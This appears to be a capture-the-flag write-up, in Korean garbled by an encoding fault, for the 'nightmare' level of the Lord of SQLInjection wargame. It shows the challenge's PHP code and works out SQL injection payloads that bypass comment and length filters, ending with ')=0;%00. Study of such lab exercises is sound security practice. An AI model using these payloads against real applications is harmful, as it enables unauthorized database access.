1. Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
2. Condition
- prob _ . () # - ๋ฅผ ํํฐ๋ง ํ๋ค.
- strlen ํจ์๋ฅผ ํตํด GET ํ๋ผ๋ฏธํฐ pw์ ๊ธธ์ด๋ฅผ 6์ดํ๋ก ์ ํํ๋ค.
3. Solution
์ฐ์ ์ ํ์ด ์๋ค๊ณ ๊ฐ์ ํ๊ณ , ์ฐจ๊ทผ์ฐจ๊ทผ ํ์ํ ๋ถ๋ถ์ ์์ฑํด ๋ณด์.
select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'
๋ณ์๋ช | ๊ฐ |
pw | ') or 1=1# |
๋ค์์ผ๋ก ํํฐ๋ง์ ์ฐํํด ๋ณด์.
์ ์ฟผ๋ฆฌ์์๋ #์ด ํํฐ๋ง์ ๊ฑธ๋ฆฌ๊ฒ ๋๋ค.
#๊ณผ -๋ชจ๋ ํํฐ๋ง ๋์ด, ;%00์ ์ด์ฉํ์ฌ ์ฐํํด ์ฃผ์๋ค.
๋ณ์๋ช | ๊ฐ |
pw | ') or 1=1;%00 |
๋๋ฒ์งธ๋ก ๊ธธ์ด๋ฅผ ๋ง์ถฐ๋ณผ ๊ฒ์ด๋ค.
ํ์ฌ ์ฟผ๋ฆฌ์ ๊ธธ์ด๋ 11์ด๋ค. or ์นํ๋ง์ผ๋ก๋ 6์ดํ๋ฅผ ๋ง์กฑ์ํฌ ์ ์๋ค.
๋ ผ๋ฆฌ๊ฐ์ ๋ฐ๊ฟ์ฃผ์ด ๊ฐ์ ํ ๊ธธ์ด 6์ ๋ง์ถ ์ ์์๋ค.
๋ณ์๋ช | ๊ฐ |
pw | ')=0;%00 |
์ ๊ฐ์ ์ต์ข ์ ์ผ๋ก ์ ๋ ฅํด์ฃผ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
dragon (0) | 2023.08.03 |
---|---|
xavis (0) | 2023.08.03 |
zombie_assasin (0) | 2023.08.03 |
succubus (0) | 2023.08.01 |